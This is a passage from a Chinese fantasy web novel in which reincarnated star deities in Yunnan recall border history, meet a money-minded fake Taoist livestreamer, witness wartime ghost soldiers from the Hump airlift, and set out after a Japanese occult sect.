司权衡境域、杀伐劫夺之职的参水猿当即暴走,甚至想伪装成英军去袭击解放军的部队,被毕月乌和角木蛟死活拦下来了。 角木蛟出了个主意:给北京写信,哭唧唧,哀求哀求再哀求。 实在不行,再用下流手段。 “都说要先礼后兵,哪有上来就下流的。” 参水猿准备礼物:一把银刀,一对象牙。 角木蛟写信,想他曾经是提笔写骂战贴,文不加点,就连文曲星都夸的一流文笔,如今却不得不把自己强行降级: “……英国人打我们,因此恐惧,现在外国人经常来,假使班老归中国,请派解放大军去驻,保护我们,班老人民的心是永远不变的。” 本来到此为止了。 毕月乌看了一眼:“感觉力度不够。” 参水猿叫嚷:“对,就应该说,要是你们不管班老了,我们就自己打!” 毕月乌捂住他的嘴:“你还是别说话了。” 又转头对角木蛟说:“要显得特别特别的惨!特别特别的可怜!想想闺怨诗是怎么写的。” 角木蛟闭了闭眼睛,又提笔添了一句: “如不要班老也请回信。” “哎~这味就对了!”毕月乌点头。 可怜、心酸,又无助。 最后,署名、寄出。 总算是得到了来自北京的回信,班老也正式在1960年回到中国版图。 三人当晚立誓从此和睦相处,不再相斗。 并为庆祝此事,喝了整整一夜的大酒。 然后……三人成了当地女人劝诫自家男人不要喝太多酒,喝酒会喝死人的反面案例。 再次重生,毕月乌做了缉毒警,角木蛟做了村长,两人守着两条不同的边境入口,打赌下注,比谁抓的毒贩和走私贩多。 去年毕月乌赢了,今年角木蛟反超。 所以,角木蛟看到李寅寅,以为是毕月乌输不起,搬出自家老大来偷他的业绩。 角木蛟把前情往事说完,李寅寅点点头:“你在看到金光的时候,还能感觉到你们家星君吗?” 角木蛟答道:“是,但是,后面就再也没有了,毕月乌与参水猿也没有感觉到您的存在,我们以为四极星君都不在人间了。” “以为星君不在人间,还记得守卫疆土,我们白虎七宿是天命使然,青龙能做到这一点,真是难能可贵。”李寅寅又瞥了一眼孟清华。 孟清华冷冷道:“高踞朝堂,自然要做天下表率,若是陛下不听劝,我们便只能以死相谏,比不得你们武人有兵权,想勤王就勤王,想清君侧就清君侧。六军不发无奈何,宛转娥眉马前死。” 角木蛟内心松了口气,看来青龙跟白虎还是会互相刺一下的嘛,看来自己刚才对她不敬,孟章大人也不会惩罚自己。 李寅寅本来还想再喷孟清华两句,忽然想起一件事问角木蛟:“这村子里那个一夜消失的古国是怎么回事?还全神仙?” “嗐,什么一夜消失的古国,他们自己走的。” 如李寅寅想的一样,不是什么自夏朝延续至今的古国,只是那里刚好一直有人生活,来来去去,一会儿是这边来逃旱灾的,一会儿是逃水灾的,还有逃战争的。 而且,他们一丁点都不封闭,出过好几个秀才,一个举人。 他们也知道外面在打仗,从1932年起,陆续有青壮男子离家参战。 至1942年,古国所在的村落,只剩下了老弱妇孺,村中壮丁无一人回。 她们不愿继续坐在家中无尽等待,她们积极要求参战,后来被分配做了后勤,到畹町修一条路。 那条路1200公里,80%的工人是老人、妇女、儿童,修了三年,牺牲极大,一英里两块墓碑。 史称“史迪威公路”。 角木蛟声音低沉:“她们将一半家财埋在土中,想着也许胜利之后,还能回到故土,与家人团聚,好好过日子。 将另一半家产带出来,捐了买飞机,可惜……全都落到了那个女人的手里……成了她宋家的财产。 这是我的错,我应该阻止她们的,哪怕让她们捐给延安也比……” “与你无关!”孟清华打断他的自责,“没办法,当时正面战场就是他们,你不让她们捐,或者不捐给那些人,很不合理。” 角木蛟低下头:“是,多谢星君体谅。” 李寅寅又想到:“那这村子的洞天福地,是真有鬼?” 她不愿意相信为抗战而牺牲的人会引诱活人自杀。 角木蛟摇头:“没有鬼,但是……我也不知道。所谓古国和洞天福地,只是我吸引游客的手段罢了……我也没想到会发生这种事。” “好吧,我知道了,这事我来处理。”李寅寅转头看着孟清华,“看在他劳苦功高的份上,我就不计较他跑到我们西极星天抢行的事了,再见~你也早点回去睡吧,明天你还得还上早自习呢。” 话音未落,李寅寅连带着苑雪都不见了。 屋内,一片安静。 孟清华平静地看着角木蛟:“你在西南边陲镇守多年,辛苦了。你把你从什么时候来的,都做了什么事,如果你不在,西南会有多乱都如实写下来。待我力量重归之日,必然为你向白虎星天讨回你应得的一切。” 尾火虎与角木蛟看着他那与年龄不相符的森然神情,与记忆中高傲冷峻的青龙星君重叠在一起。 角木蛟心中如惊雷轰响:“他就是青龙孟章大人!!!” 第69章 阴兵过境 “星君大人,我们一定要跑这么快吗?” 在缩地成寸掀起的疾风,把苑雪的头发吹得乱七八糟,连脸都吹麻了。 李寅寅干笑两声:“嘿嘿……怕他找我要账。” “要什么账?” 在苑雪心中,天上神仙,自然是一体同心,总不能说混成神仙了,还没进入共产主义吧?! 面对小鹿纯洁的眼神,李寅寅告诉她一个惨烈的事实:“我们是各管各的,能调用的人马、法宝都有数,不着急的时候,年利率1%,着急的时候,九出十三归,还是复利。” 这辈子没跟银行打过交道的苑雪迷茫地看着她:“意思是你欠他很多钱?” “要是钱就好了……我们没有一般等价物,都是法宝啊、仙丹啊、蟠桃啊……这小子小气的很,上次我欠了他那么一点点,他给我折算成了一又十二分之一个蟠桃,我寻思说那个十二分之一就算了嘛,他一定要我还,还说不占我便宜,让我按全桃给他切,桃皮和桃核都要给他十二分之一。” 苑雪嘴巴大张:“真看不出来,他这么变态。” “可不是么!”李寅寅用力点头,反正青龙也没少在别人面前说她,她一点都不亏心。 “你们回来啦,上头收拾好了,可以去住了。有行李吗,我让我儿子帮你们拿。”大妈热情地招呼她们。 李寅寅这次带上去的行李不少,除了大妈的儿子,还有三个壮汉和两头骡子帮忙。 “哎哟,这么多呀,你这是把家搬过去啦?”就连见惯世面的大妈都震惊了,别的修仙者都是讲究一个清心寡欲,不在乎身外之物,怎么她还有一堆小摆设。 李寅寅笑道:“天上神仙府,人间帝王家,要是我修仙的时候就过得清苦,神仙还以为我就喜欢这种日子呢,到时候给我分配一个穷职,过得还不如人间,那我还修什么仙,在人间待着不就好了。” 好像有道理,又好像哪里怪怪的。 大妈琢磨了一会儿,问道:“修仙不是为了长生么?” “要是一堆东西不能吃,一堆东西不能玩,活那么久是为什么,是为了长长久久的受折磨吗?” 来帮忙扛东西的人都笑了:“就是啊!能吃的时候吃,能喝的时候喝!比什么都强。” 从村里到山上的洞府,看起来很近,抬眼一看,就在那,但是人类不能直接飞上去,只能慢慢沿着盘山路走,上到山顶再下山,走过山谷再上山顶,连翻了两道梁子,再慢慢走,快到的时候,居然还有一段两米高的峭壁,要拉着铁链子才能上。 大妈生怕李寅寅和苑雪这两个娇贵的城市大小姐嫌麻烦,改主意不租了,急忙解释:“这也是为了保证你们安全,晚上你们可以把铁链子收起来,谁都上不了,屋里还有梯子,你们可以把梯子放下来,比铁链好爬。” 骡子上不去,全靠人力。 几个人先爬上去,把一个拴了绳子的木板放下来,大妈把行李一件一件放在木板上,上面的人再用力拉。 大妈满脸笑容:“还是很方便的吧,以后我来送饭,你们把这个板板放下来,我把饭放上去,你们就有吃的啦。” 最后,他们让李寅寅和苑雪也坐在木板上,拉到洞门口。 服务相当到位。 这个洞大概有一个足球场那么大,里面隔出了几间屋,除了浴室、厕所、厨房,还有摆放香炉供桌蒲团之类的修行室。 想得相当周到。 “我们就先下去嘎,你们慢慢收拾。”大妈收了一周的房钱,带着人离开了。 苑雪松了口气:“他们要是不跟着,我们早就到了。” “你们好呀~~~”下方有人,正冲着他们挥手。 那人穿着道袍,扎着发髻,腕上戴着串,手上拿拂尘,圆圆的身子,圆圆的脸,笑得十分灿烂。 “道士?!”苑雪大惊,她知道自己的法力低微,要是跟人类法师起冲突,她只有束手待毙的份。 李寅寅笑着跟道士挥手:“你也是住在这里的吗?” 她压低声音对苑雪说:“别怕,他没法力,是个假货。” “噢……”苑雪这才发现,那个道士的面前有一个三角架,架上支着一个手机。 道士问道:“你们刚来啊,有没有要帮忙的?” “没有,要不要上来喝杯茶?”李寅寅热情邀请。 道士痛快地应了一声,顺着铁链爬上来了,爬的时候也没忘记把三角架支到一个合适的位置,让人看着他爬上去的英姿。 然后再爬下去,把三角架收好,重爬一次。 李寅寅笑道:“这段不是直播了吧?” “对,是素材,回去要剪一下。”道士笑嘻嘻。 他抬头看着李寅寅他们住的洞:“真大呀!快赶上玄天洞了。” “本来我也想住这,但是想想,没必要,哎,你们租这多少钱?” “三百块七天。” 道士咂咂嘴:“真贵,我那个洞,一百块钱一个月。这附近就你们住的这间最贵,我上次问的时候,还是三百块一个月,我都嫌贵,现在涨了这么多。其他地方还有五十块一个月的,就是条件差一点。” 听见这道士满口钱钱钱,苑雪问道:“你也缺钱吗?” “哈,这年头,谁不缺钱啊。那些说赚钱不要多,够花就行的人,就是有人兜底,没吃过苦,什么叫够花,啊?咱们在这,一天十块钱的餐标,一个月三百块,加上租金,四百块,这叫够花。突然生个病,去医院一千块就没了,要是身上只有四百块,那够花吗?不够啊!谁能知道自己什么时候有突然急用的时候,现在人啊,张口闭口就是等我老了就去死,呵,老又不是一秒钟的事,今天眼睛老花看不清东西,配眼镜要钱吧?明天骨质疏松摔断了腿,要钱吧?……” 道士似乎对钱有着相当的执念,一口气说了许多,叨叨了半天才发现是自己在唱独角戏,自我解嘲道:“哎,我说这些干什么,看你们肯定就是不缺钱的城里人,是来那个……洗涤心灵的吧?” 李寅寅已经把行李收拾好:“不,我们就是来修仙的。” “哈哈哈……你们现在已经快活似神仙咯。”道士显然不相信她的话,就面前这一套十二件的金边骨瓷,还有放在旁边的瑰夏咖啡豆、手冲壶、虹吸壶……光喝咖啡的物件就有四种。 咖啡旁边是茶盘,又是一整套的茶道工具,讲究成这样,修的哪门子仙。 李寅寅问道:“那你是来洗涤心灵的吗?” “不,我是来斩妖除魔的。”道士骄傲地抬起头,摸了摸下巴上半长不短的胡子,那胡子生得很没有章法,看起来是忘记刮才长出来的,而不是故意要摆个仙风道骨的范儿。 苑雪被他的话吓得小心肝直跳,她下意识地往李寅寅身后缩了缩。 李寅寅笑着拍拍她的头:“别怕,有妖魔的话,我就把它嘎吧嘎吧吃掉。” 见苑雪还是很怕,李寅寅让她去烧水,把带的零食水果拿出来。 贵果然是有贵的优势,别的洞府喝水得自己提桶走几百米去接水,这里有一根竹管子,直接从泉眼接过来,一天24小时不间断供应。 道士主动帮忙洗水果切水果,旁边自然一直支着一个三角架,他还自带了打光板,他蹲在钟乳石水窝边洗水果,看似轻松惬意,其实脑袋上围了三块白板,看起来特别好笑。 苑雪都不紧张了。 不得不说,他摆盘确实是专业的,切的水果也好看。 他不知从哪里掏出一个微单,对着水果拍微距,还请苑雪帮忙往上洒点水,要拍水珠缓缓流下来的动作。 摆拍了三十分钟后,三人才总算能坐下吃上。 李寅寅一边吃,一边看道士拍的镜头,挺唯美,颇有山居隐士的风范。 “拍得很不错啊,没考虑往视频UP主赛道发展发展?” “哪有这么容易。”道士摇头,“UP主赛道现在都饱和啦,风水赛道又太讲究人际关系。” 他一边喝茶,一边说起自己的故事。 他从小就能感觉到一些东西,所以身体不好,去医院没用,最后找的大师看,大师说他能感觉到异界磁场,灵魂会被干扰,所以身体不好,他的八字又跟大师相冲,所以大师不能收他为徒,替他解决这个问题。 “一到考试我就生病,读书读不了,没有学历也找不到工作,只能先治病。寺庙和道观我都去过,不行,进门就吐,难受得很,又说我与佛道无缘,只能自生自灭,或是寻佛道之外的神仙相助,我寻思着,只能去找女娲或者西王母了。” 道士呵呵一笑:“所以,我想去一趟昆仑山看看,就是缺钱,便自己买了这身行头和法器,沿路能赚点是一点。正好这里出事,村里人怕继续死人,影响生意,出高价请人来看,我离着不远,就来了。” “噢……”苑雪想了想,又问:“如果没事发生呢?” 道士笑得更开心:“那不是说明我很厉害,在这里一坐,都没有妖魔敢来?反正钱已经收了,不会退的。” 李寅寅不由想起了谭宁,以及他那些便宜货法器,忍不住问:“你有法器吗?” “当然有,”道士满脸骄傲,“是我专门花高价请来的,什么妖魔鬼怪都能收服。” 苑雪万分好奇:“能不能给我看看呀?” “不行不行,法器不能随便拿出来玩的。” “噢……”苑雪很失落。 李寅寅安慰道:很多法器出鞘必然要见血,不见血不回鞘,不能随便看的。” 这才让苑雪死了心。 直到晚上十点,茶都喝得没味了,也没等着妖魔,道士的光荣历史也已经说到没话说了,说话的时候,他的手机一直支在旁边,开着直播,全程在线人数峰值是惊人的——六个人。 没有一句留言,只有系统提示XX进入直播间,XX离开直播间。 连一个免费的点亮都没有,更别提嘉年华、大火箭、豪华别墅这些打赏了。 苑雪小小的打了一个呵欠,认真地问:“你说的妖魔,大概几点来?” 道士语塞:“呃……不知道……等着吧,来就来,不来就拉倒,反正我已经收过钱了,不亏。” 又等了一会儿,道士也觉得尴尬,这么晚了,还在女孩子屋里待着,实在有失体统,他站起身:“大概它们怕我,真的不来了,我先回去啦。” 道士小心翼翼地顺着铁链子往下爬。 苑雪眨巴着眼睛:“你不是有法术吗?不能飞下去吗?” “我没有带剑。”道士回答的有理有据。 等道士走远了,苑雪才抬头看着李寅寅:“他怎么把自己的底都说啦?还告诉我们,他根本就不是道士……他是不是看出我们没有钱,不值得骗?” 李寅寅淡淡一笑:“因为我想听真话。” 白虎有司刑罚之能。 她历劫当人的时候,想听真话得亲自动手。 要是身负神格还得费劲,那不是白有神格了。 夜深了,各个洞府里的人们已经睡下,只有风吹树梢的声音。 有李寅寅在身边,苑雪一点也不害怕,反倒迫不及待想看看传说中的妖魔是什么样的。 要是真有的话,她还能趁机卖卖祈福手串、避邪吊坠什么的。 “嗡嗡嗡……”夜空中,传来一阵奇怪的声音,像割草机。 接着,就是“轰”,一声巨响,好像什么东西掉下来。 继而,还传来枪响,以及英语和日语。 李寅寅一个箭步蹿出门,向声音传来的地方张望,苑雪变成原形,趴在李寅寅的背上,它只露出半个脑袋,紧张又激动地睁大了眼睛。 除了她俩,其他洞府的人也听见响动了,胆大的已经打开手电出来张望,胆小的紧闭房门,一步不出。 他们看见了一个让人震惊的场景,一个穿着二战时飞虎队衣饰的西方人在狂奔,身后是一群穿着日本军装的人端着枪跑步追赶。 西方人摔倒在地,用生硬的中文高喊:“救命!救命!” 又不知从哪里跑出两个穿着少数民族服饰的人,将西方人扶起……每个住在洞府里的人都看见,他们拖着西方人是在往自己这里跑,后面还有凶神恶煞的日本人,他们手中的枪吐出火舌,一个少民的胸口出现一个巨大的血洞,但他竟然还扶着那个西方人向前跑,血还在不断向外喷。 修仙的人们吓坏了,有人跑回自己洞府,把门关死,嘴里念着自己信仰的神佛菩萨的名字。 有些人腿都吓软了,一步也跑不动,闭上眼睛大声惨叫。 还有几个人像无头苍蝇似的,竟然往山上跑,也不管前面是什么地方,只管埋头狂奔。 前方已经是悬崖,看着步步紧逼的日本人,他们想都没想就要往下跳。 脚下刚一空,胳膊就被什么东西死死拉住,硬拖了回来,转头一看,却没有人,连西洋人、少数民族、日本人都没了。 一切就如同做了一场大梦,自己只是梦游了。 李寅寅回到洞府,对满脸期待的苑雪说:“没什么,阴兵过境而已。” 她说得云淡风清,好像已经看过很多次,见惯不怪了,其实她也充满了好奇。 阴兵过境的传说,在全国许多古战场和曾经发生过大灾的地方都有,用迷信的话说,就是突然之间有大量的人死亡,不少人认为自己死得很冤,不肯老老实实跟着鬼差下去,普通鬼差会被暴起的亡魂揍,这种时候,就要派阴兵压着。 李寅寅参与的大战中从来不会有这种事情,死在白虎手中的凡人,再大的怨气,在白虎煞气面前也早就烟消云散,那些灵魂像羊羔一样听话,一个鬼差就能把他们全部带走。 就是因为她从来不给地府增加工作量,才能让她与无常和判官们今生再见如此和谐。 用科学的解释呢,就是山里有自然形成的录像带效果,到了合适的天气就会把曾经记录下的影像放出来,比如故宫墙壁上的宫女太监传说。 李寅寅半夜偷偷去过几次,也从来没看着什么,倒是把故宫的猫们吓得几天都吃不下睡不好,心急如焚的工作人员给周围的兽医送了不少钱。 今天终于看见了。 李寅寅听见外面还有声音,阴兵过境还没过完,她抓了一把瓜子揣兜里,要再出去看看。 “等等我!”苑雪飞快地往小背包里塞薯片、酸奶、瓜子、无花果,然后她把背包背身上,自己拿了一个垃圾袋,给李寅寅手里也塞了一个:“瓜子皮不要乱吐。” 两人一个闪现,到达声音传来的地方,李寅寅发现事情有点不对。 这里是那个道士的洞府,现在,道士手握桃木剑,站在洞府前方,三米见方的一块空地上。 在他面前,是一队日本兵,他们手里端着枪,眼睛死死盯着道士。 不对! 阴兵借道,就是借道而已,他们与普通活人没有因果的话,是看不见活人的,不然活人在阳间的权力还没鬼大,那真是天道何存。 李寅寅看这假道士年纪不过三十出头,怎么着也不可能跟二战时的日本兵有因果。 她想不明白,为什么他跟这帮鬼子还能互相大眼瞪小眼。 苑雪不知道此事的异常,她打开带的小垫子,卸下小背包,像春游开吃一样,坐在地上,拆了一包青柠黄瓜味的薯片,嘴里一边嚼着薯片一边问:“你在干什么呀?” 道士一惊,匆忙回头,发现是李寅寅和苑雪两人,他神色紧张,从斜挎的布包里掏出两面令旗,用力甩到李寅寅和苑雪面前。 苑雪吓了一跳,只见令旗上绣着一只张牙舞爪的白虎,两道令旗之间,瞬间出现了一道半透明的发光白线,带着兵戈与凶煞之气,苑雪吓得腿一软,当即伏在地上,动弹不得。 “危险!你们千万不要跨过令旗!”道士没注意到苑雪的异常,厉声喝道。 “好!”李寅寅应了一声,道士这才转过头,继续与日本兵对峙。 李寅寅将手按在苑雪的头顶,将自己的力量输入少许:“不怕不怕。” 苑雪快哭出来了:“你的旗子比你凶。” 这话李寅寅就不爱听了,“那是我还没开始凶呢!” 苑雪眼眶含泪:“我害怕,我要回家……” 李寅寅抓起苑雪的手,让她摸了摸发光的白线:“还怕吗?” “不怕了……” “还要回家吗?” “不回了。” 李寅寅向她伸出手:“嗯,把红烩牛肉味的薯片拿出来,我要吃。” 令旗后的两人如同春游,令旗前的道士如临大敌。 今天一大早,他就跟所有洞府里的人都打过招呼了,说自己是来斩妖除魔的。 刚才,所有人都听见了外面的动静,还有人亲眼看见。 只要今天晚上能把这事平了,这些洞府里有钱的修仙者,会对他言听计从,他卖什么,他们买什么,他可以快乐的做个人间富家翁,下半辈子衣食无忧。 二十级军功爵制,让秦国横扫八方。 300%的利润,让商人愿意为之绞刑。 道士已经一无所有了,他现在的精神状态,跟腰上挂人头冲锋的秦军士兵没什么区别。 他将布袋里的所有法宝都掏了出来,八卦镜、五帝钱、锁魂网,对着日本鬼一口气全撒了出去。 日本鬼向前冲锋,道士肉眼可见的慌了神,他绝望地闭上眼睛,活人与这么强悍的阴魂接触,还这么多,只怕灵魂都要被拽出去,到时候,他就是死路一条。 不想,那些日本鬼却在将要碰到他的瞬间烟消云散。 道士等了许久,没有感觉到灵魂被撕扯的痛苦,他睁开一只眼睛,四下偷瞄,鬼魂不见了,他开心地大叫:“真的有用!!!” “那是那是……”李寅寅鼓掌。 “可是……”苑雪困惑地眨巴着眼睛,道士撒的东西,都是假货,一点法力都没有,她看见李寅寅屈起右指,对着鬼魂大军弹出几道白光,它们才消失的。 “嘘~”李寅寅往苑雪嘴里塞了一个无花果干。 一夜惊魂,所有洞府里的人都没有睡着,天刚蒙蒙亮,他们连行李都不要了,就想往山下跑,却听见铮铮古琴声。 道士盘膝坐在平台上,面对泛着鱼肚白的东方天空,抬手抚弦,从容不迫。 “道长,昨天晚上……” 道士停下动作,抱琴起身向众人欠了欠身:“无量天尊,昨夜恶灵已除,各位可以安心住下。” “真的?” “出家人不打诳语。”此时的道士,还真有那么一点世外高人的意思。 还真有人替道士作证:“昨天晚上我看着下面闪了一道白光,然后就安静了。” “我也看见了。” “不过是寻常驱邪之法,不必在意,昨夜来的,不过是山精野怪,不足挂齿,贫道手中小小一道雷敕,便能让它们魂飞魄散。” 说着,他假装不经意地亮出手中那块木牌。 它不是枣木,不是桃木,甚至根本就不是实木。 是三合板。 比宜家用的三合板质量还差一点,是他从垃圾堆捡来,用刀子在上面刻了个百度到的雷咒图案。 他手里的“真货”不仅贵,而且还得托人,很难搞到,他可舍不得卖。 其他人不瞎,都看出这木片片是个啥玩意儿,一人犹豫道:“这……能驱邪?” 道士朗声大笑:“山不在高,有仙则名。水不在深,有龙则灵。若无真念附之,虽金玉亦无用,若有修行,虽茅草也可诛邪除妖。” “可是这已经用过了,还能有用吗?” “刻划不退,法力自存!可保三年避邪远小人,诸事顺遂。” 一人突然高声:“道长,能不能把它卖给我!我愿意出两千!” 其他人也如梦初醒:“我愿意出五千!” “我愿意出一万!” 这些人能安心进山修炼,是账户上每个月都有二三十万往上的被动收入,情绪上头抬价抬得毫无心理压力。 最后有一个人喊出五十万,还怕道士反悔,当场转账。 不过,虽然山上的鬼魂被清掉了,修仙的人还是不敢继续留在山上,宁愿押金不要了,也要离开。 道士告诉他们,这事他们得烂在肚子里,就算是最亲的亲人也不能说,否则,被游荡在世间的鬼魂知道,他们能看见鬼,只怕会对他们不利。 看着他们的背影,李寅寅问道士:“刚才那么热闹,开直播了吗?” “没有,现在才五点,谁早上五点起来看直播啊。而且也不好看呐,跟拍卖会似的,俗!” 李寅寅扬起眉毛,可以啊,还知道卖法器应该讲究氛围。 村里的房东们不明白为什么房客们纷纷离开,他们追问原因,房客们只是摇头说山里住不惯,不住了。 包括已经在山里住了五个月的人都说住不惯。 还是道士为他们答疑解惑,告诉他们昨天晚上发生了什么。 村民们发愁,以前村子很穷,现在全靠修仙和好奇的人带起了一波旅游业,现在金主们又都被吓跑了,难道以后又得靠扶贫款过活了嘛? 他们涌进村长家,希望他发表对此事的看法,拿个主意。 村长不愧是他们的主心骨,他猛地一拍桌子:“我连毒贩子都不怕,还怕鬼!不让我们赚钱,就算是鬼!我也打得他们过不了鬼节!你们放心,这批客人走了,我肯定能让新客人来!” 村民们欢呼雀跃,为自己有个强大的村长而骄傲。 吃了定心丸的村民们各自回家,留下了一个困惑的角木蛟。 他在这村子那么多年了,从来没听说过山里真的闹鬼,而且还是阴兵过境这种级别的闹鬼。 他正想找那个道士问问,道士却自己上门了,身后还跟着看热闹的李寅寅和苑雪。 道士虽然是个西贝货,但是他对灵体的敏感是真的,他有一种感觉,昨天干掉的只是一部分,并没有清除。 他是来开价的。 昨天干掉了一队鬼兵之后,他现在充满自信,打算谈个好价格,然后把那些鬼兵斩草除根。 李寅寅是来听故事的:“没有无缘无故的阴兵过境,我记得忽必烈的元军入侵,都没有对大理国屠城,你这里离得更远了,崇山峻岭的,连战场都没有,哪来的阴兵?” 角木蛟仰头指指天空:“战场不在地上,在天上,这里是曾经的驼峰航线,前面五十多公里,就是铝谷。” 驼峰航线,那是中国在抗战时的一条重要生命线,这条空中走廊,自然环境极其恶劣,再加上飞机性能不及日本的零式战机,有80%的飞行员再也没有回来。 失事飞机的残骸掉落,在阳光下闪闪发光,这八百公里布满金属碎片的山间,被称为“铝谷”。 有些飞行员被击落后,跳伞逃生,被老乡救走。有些人不幸落到了日本人手里,也有人假装顺从,然后拉响手榴弹与日本人同归于尽。 “战场,确实是有的,但是……以前确实从来没有闹过鬼……”角木蛟百思不得其解。 他都已经愁到病急乱投医,决定上网百度一下了。 他刚打开屏保,就发现电脑右下角跳出一则新闻:“某市酒店拒绝日籍客人入住。” 关联新闻是日方代表希望该市的国殇园拆除倭冢前的四个跪像。 正在此时苏灵衣给李寅寅发来一张照片,与李寅寅正在看的照片一模一样,其中有两个人的脑袋上被画了圈。 苏灵衣还附了一句话:“这两个是日本九菊一派的人,他们来准没好事。” 第70章 狭路相逢 九菊一派,源自中国隋唐时的风水道学,属堪舆学的分支,标志是八瓣菊花。 苑雪托着腮:“那为什么不叫八菊一派?” “九菊是说他们的菊花是用九种毒物养大的,冬天不会凋谢。” “我养的山茶花冬天也不凋谢呀。”苑雪觉得九菊一派脑子有病。 李寅寅记得那丛山茶花,就在她努力想要修复的寺庙第二道围墙里,李寅寅摸摸她的脑袋:“你也不看看你的花种在哪里,无量山的樱花十一月底就开了呢。” “可是,前几年昆明的树被冻死的时候,我的花也还得好好的呢!噢……可能是因为下面埋了尸体。” 李寅寅惊讶地看着她:“谁的?” “有谁就埋谁的,英国人、缅甸人、日本人,再往前还有蒙古人、汉人……” 苑雪看见李寅寅的表情,赶紧解释:“不要误会嘎,不是我杀的!是我在地上捡的嘎!都放好几天了,肯定没人要啦!” 李寅寅对她那大条的神经表示无语。 难怪,她那寺庙的生意总是不好,佛家说佛前见血,大为不吉。 这岂止是见血,根本就是在京观上面建了一个庙,甚至都没邪神入住,可能这里的邪神都镇不住这么多滚滚人头。 苑雪捧着脸,冥思苦想,然后,她忽然站起来,面露惊恐之色:“九菊一派的人过来,会不会是因为……他们的先人被我埋到花下面去了!我挖出来还给他们还来得及吗?哎……那么多骨头,我也不知道谁是谁的嘎……随便挑几块还给他们,他们能认出来吗……” 李寅寅拉着她坐下来:“放心,肯定不是来为了花肥的事找你。他们忙的很呢。” 这几年九菊一派的人名头响得很,什么上海的军刀楼传说,西安的**传说,都跟他们沾边。 他们不是去有钱的地方,就是去传说中的龙脉所在地,他们干成的事,不是有钱,就是有名。 如今却往边境小城跑,总不能是因为吃饱撑的吧。 说不定收集煞气的事情,他们也有份参加。 要不是煞气太浓,会把上古巨魔、太古巨妖弄醒为祸人间,李寅寅也懒得继续往下管,就让九菊一派的人当平账大圣得了,统统算在他们头上,反正甩黑锅给他们,李寅寅一点道德负担都没有。 毕月乌告诉李寅寅,那些日本人在腾冲受到冷遇之后,便向北走了,应该是去贡山。 苑雪也非要跟着去:“你要是把他们杀掉,他们的钱不就用不上了吗,不就可以给我了吗,我拿来修庙。” ……这是等着BOSS爆金币呐? 李寅寅摇头:“不行,你不能跟着去,太危险了。要是有钱的话,我带回来给你。” 苏灵衣也恢复的差不多了,他也强烈要求跟着去:“我对九菊一派的了解还非常的肤浅,我想再多了解一些细节,深入探讨一下。” 李寅寅:“最好他们把他们的师门秘籍送你是吧。” “那肯定的!是批注版我会更高兴的。”苏灵衣笑得灿烂。 好嘛,这是等着BOSS掉经验书。 李寅寅答应苏灵衣同去的要求,苑雪不干了:“凭什么带他不带我?他要的书,就不能也让你一起带回来吗?” “万一他们给的信息不对呢,我当场就可以让他们想好了重新说。”苏灵衣义正辞严,充分彰显自己行动的正义性和必要性。 连道士都要求跟李寅寅一起去:“我也想了解了解九菊一派,佛道不收我,兴许九菊一派适合我,等我加入进去,努力奋斗,当上掌门,以后就再也不会与华夏诸门派争斗不休,天下,就太平了!” 听起来,他要去的理由比苏灵衣更崇高,更得带着他。 苑雪也想努力让自己的梦想变得高大上,但是,想来想去,她真的只需要钱,钱这种东西,带回来就行了,没必要她亲自跑一趟。 气得她撅着嘴趴在桌上生闷气,被苏灵衣塞了一根pocky,气得她跳起来把苏灵衣手里的pocky都抢过来。 李寅寅劝她:“你留下来有更重要的事,上次去你们庙里的姜真人都疯啦,你不得留下来查查是怎么回事吗?” 姜真人体内只剩下了三魂,七魄不知道上哪里去了。 李寅寅疑心是巫履搞的鬼,不过巫履坚称不知道这件事,他想化解巫阳的冤气,要活人的魄没有任何用处。 现在九菊一派的人出现,在李寅寅的优先顺序里,安内必先攘外。 这帮人不知道是什么目的,未知令人不安。 苑雪不干:“不嘛不嘛,你跟我一起查嘛!我什么都不会!我什么都不懂!带我去!带我去!” “还是带上她吧,”苏灵衣缓缓开口,“如果巫履真的想要利用她,她身上也会沾上天道因果。” 天道不像人类法律那样,还讲究分个主犯、从犯,天谴雷永远都像没有优化过的人工智能一样,只管这件事情是不是有违天道。 如果判定结果为“是”,那么一道天雷劈下来,什么主犯从犯,统统变成糊犯。 就冲着苑雪提供蘑菇粉,让人致幻的行为,要是巫履真的玩大了,天道顺手把苑雪给劈了也合情合理。 与苑雪相处这么多天,她没什么心眼,傻乎乎的,内心只想修庙,想到她有可能会跟巫履一起被劈死,李寅寅会遗憾。 “好吧!”李寅寅摆摆手:“有什么要收拾的东西,快收拾,走了。” 三人被李寅寅用缩地成寸带去边境小镇,道士看了看周围,又打开手机地图定位,这才敢相信自己真的已经来到数百公里之外。 “哎,太方便了!我要是会这招,就去给人送快递!兼职送外卖!一个站点的件我一个人都能包了!不,我可以包十个站点!一单赚三块,一千单就是三千块……” 道士已经激动地算上账了。 李寅寅无语:“会法术,你就干这个?” “要是我也能带人的话!我就带着急去远处出差的老板,境内的话,每人五千,去美国的话,每人二十万,我一手拉一个,两个人四十万……我再背一个……” 道士的眼睛闪闪发光。 “挺好,保持你的纯洁。”李寅寅拍拍他的肩膀,满脑子想送货的人,就算干坏事,也干不了出类拔萃的坏事。 这里是丙中洛,往上五公里就是西藏的察隅,普通游客不爱往这里来,却是背包客熟悉的“丙察察”线,春夏时节,会时不时看到自驾和徒步的背包客在村子里住。 丙中洛县城里有好几家餐厅,都挂着“正宗漆油鸡”的字样,苏灵衣虽然嘴上没说,眼睛却盯着那几个招牌,步速也明显的慢了下来。 李寅寅注意到,停下脚步,问道:“想吃?” 苏灵衣点点头。 “吃!”李寅寅招呼道士和苑雪也一同进来:“小雪,吃过漆油鸡吗?” “没有嘎,我们那里没有,是怒江六库这边才有的。” 李寅寅点了满满一桌菜,有牛肉有猪肉,还有两盘蔬菜。 “再来一份漆油鸡。”李寅寅说。 老板娘却没有像方才那样在小本本上记,她认真地盯着李寅寅他们四个看了一圈:“你们以前吃过吗?” “没有,这不就是没吃过,所以才特别想吃嘛。”李寅寅觉得她这个问题真奇怪。 老板娘摇头:“要是没吃过就去别家吃,从来没吃过的话,漆油会咬人的。” 苑雪吓得差点跳起来:“煮熟了还会咬人!” 她!已经修行到能化形为人的鹿妖! 她都不敢保证自己被煮熟了以后会咬人! 漆油是什么东西! 为什么会比她还厉害! 好可怕! 李寅寅问道:“怎么咬?” “就是过敏,全身红肿,严重会死人的。” 李寅寅眉毛微挑:“那你们还卖?” “是卖给本地人吃嘎,这菜是女人怀孕和坐月子时候吃的,娃娃在妈妈肚子里就吃啦。” 苏灵衣的眼神十分失落,李寅寅忍不住想替他争取一下:“帮我们打包,我们去医院门口吃。” 